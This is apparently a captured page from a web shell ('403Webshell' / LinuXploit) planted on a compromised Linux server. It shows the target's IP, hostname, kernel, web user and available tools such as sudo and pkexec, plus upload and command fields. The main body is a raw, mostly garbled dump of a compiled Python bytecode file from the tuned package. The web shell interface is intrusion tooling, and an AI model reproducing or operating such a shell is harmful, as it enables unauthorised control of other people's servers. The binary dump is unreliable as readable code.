403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/tuned/exports/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/tuned/exports/__pycache__/dbus_exporter.cpython-39.opt-1.pyc
a

,�g��@sddlmZddlZddlZddlZddlZddlZddlZ	ddl
mZddlZddl
Z
ddlmZddlmZddlmZddlmZddlmZdd	lmZzdd
lmZdd�ZWney�dd
lmZYn0e	j��Zdd�ZGdd�dej �Z!dS)�)�
interfaces�N)�ismethod)�polkit)�GLib)�FunctionType)�
DBusException)�ErrorMessage��getfullargspeccCst|�S�Nr
)�func�r�?/usr/lib/python3.9/site-packages/tuned/exports/dbus_exporter.py�
getargspecsr)rcCs�t|dd�}|durn0t|dd�dvr4d|jj}nd|j|jjf}t|t�rZ|��}nd�t�	|j|��}t
|||�}|��s�|�|�dS)NZ_dbus_error_name�
__module__�)r�__main__zorg.freedesktop.DBus.Python.%sz!org.freedesktop.DBus.Python.%s.%s)
�getattr�	__class__�__name__r�
isinstancerZget_dbus_message�join�	traceback�format_exception_onlyr	Zget_no_replyZsend_message)Z
connection�message�	exception�name�contentsZreplyrrr�_method_reply_error$s

�rc@s�eZdZdZdd�Zedd��Zedd��Zedd	��Zd
d�Z	dd
�Z
dd�Zddd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�ZdS) �DBusExportera+
	Export method calls through DBus Interface.

	We take a method to be exported and create a simple wrapper function
	to call it. This is required as we need the original function to be
	bound to the original object instance. While the wrapper will be bound
	to an object we dynamically construct.
	cCs�t��tjkrttj_tjjj	dd�d|_
d|_i|_t
�|_||_||_||_||_d|_d|_t�|_t�tj�}t��|_t�tj|�dS)NT)Zset_as_default)�logZgetEffectiveLevel�logging�DEBUGr�dbus�serviceZmainloopZglibZ
DBusGMainLoop�_dbus_object_clsZ_dbus_object�
_dbus_methods�set�_signals�	_bus_name�_interface_name�_object_name�
_namespace�_thread�_bus_objectr�_polkit�signal�	getsignal�SIGINTrZMainLoop�
_main_loop)�self�bus_name�interface_name�object_name�	namespaceZsignal_handlerrrr�__init__Bs"
zDBusExporter.__init__cCs|jSr)r*�r5rrrr6`szDBusExporter.bus_namecCs|jSr)r+r;rrrr7dszDBusExporter.interface_namecCs|jSr)r,r;rrrr8hszDBusExporter.object_namecCs
|jduSr)r.r;rrr�runninglszDBusExporter.runningcCsNdj|jd�t|j�j�d�}t|dt|j�d�}t	|j
dt�|j�}|S)Nz2def {name}({args}):
					return wrapper({args})
		z, )r�argsz<decorator-gen-%d>�execr)�formatrrr�__func__r=�compile�lenr'r�	co_consts�locals)r5�method�wrapper�source�coder
rrr�_prepare_for_dbusos�zDBusExporter._prepare_for_dbuscGs|jd|}|d}t�d||f�|j�||�}|}|dkrVt�d||f�n�|dkrrt�d||f�n�|dkr�t�d	||f�t|dd��d
g}nZ|dkr�t�d||f�t|dd��d
g}n(t�d||f�t|dd��d
g}|S)
N�.���z?checking authorization for action '%s' requested by caller '%s'rzJaction '%s' requested by caller '%s' was successfully authorized by polkit�zepolkit error, but action '%s' requested by caller '%s' was successfully authorized by fallback methodrzLaction '%s' requested by caller '%s' wasn't authorized, ignoring the requestrzppolkit error and action '%s' requested by caller '%s' wasn't authorized by fallback method, ignoring the requestzvpolkit error and unable to use fallback method to authorize action '%s' requested by caller '%s', ignoring the request)	r-r!�debugr0Zcheck_authorizationZwarning�info�list�error)r5�action_namer=Z	action_id�caller�retZ	args_copyrrr�_polkit_auth}s$zDBusExporter._polkit_authNcstt��std���j}|�jvr(td���p.|����fdd�}���|�}tjj�j||dd�|�}|�j|<dS)N�#Only bound methods can be exported.�*Method with this name is already exported.cs��j�g|�R�i|��Sr)rT��ownerr=�kwargs�rQrEr5rr�auth_wrapper�sz)DBusExporter.export.<locals>.auth_wrapperrR)Zsender_keyword)	r�	Exceptionrr'rIr$r%rEr+)r5rEZin_signature�
out_signaturerQ�method_namer[rFrrZr�export�s
zDBusExporter.exportcsnt��std���j}||jvr(td���fdd�}|��|�}tj�|j|�|�}||j|<|j	�
|�dS)NrUrVcs�|i|��SrrrW�rErrrF�sz$DBusExporter.signal.<locals>.wrapper)rr\rr'rIr$r%r1r+r)�add)r5rEr]r^rFrr`rr1�s

zDBusExporter.signalcOshd}||jvs|jdurd}zt|j|�}WntyBd}Yn0|rVtd|��n||i|��dS)NFTzSignal '%s' doesn't exist.)r)r/r�AttributeErrorr\)r5r1r=rY�errrErrr�send_signal�s
zDBusExporter.send_signalcCs<|jdurtd��dt|�}t|tjjf|j�}||_dS)Nz%The exporter class was already build.zDBusExporter_%d)r&r\�id�typer$r%ZObjectr')r5Zunique_name�clsrrr�_construct_dbus_object_class�s

z)DBusExporter._construct_dbus_object_classcCsn|��rdS|jdur|��|��t��}tj�|j|�}|�||j	|�|_
tj|j
d�|_|j��dS)N)�target)r<r&rh�stopr$Z	SystemBusr%ZBusNamer*r,r/�	threading�Thread�_thread_coder.�start)r5Zbusr6rrrrn�s
zDBusExporter.startcCs2|jdur.|j��r.|j��|j��d|_dSr)r.�is_aliver4�quitrr;rrrrj�s

zDBusExporter.stopcCs|j��|`d|_dSr)r4�runr/r;rrrrm�s
zDBusExporter._thread_code)N)rr�__qualname__�__doc__r:�propertyr6r7r8r<rIrTr_r1rdrhrnrjrmrrrrr 8s$	




	
r )"rrZdbus.servicer$Zdbus.mainloop.glibZdbus.exceptionsrkr1Z
tuned.logsZtunedZtuned.constsZconstsrr"�inspectrZtuned.utils.polkitrZ
gi.repositoryr�typesrrZ
dbus.lowlevelr	rr�ImportErrorZlogs�getr!rZExporterInterfacer rrrr�<module>s.


Youez - 2016 - github.com/yon3zu
LinuXploit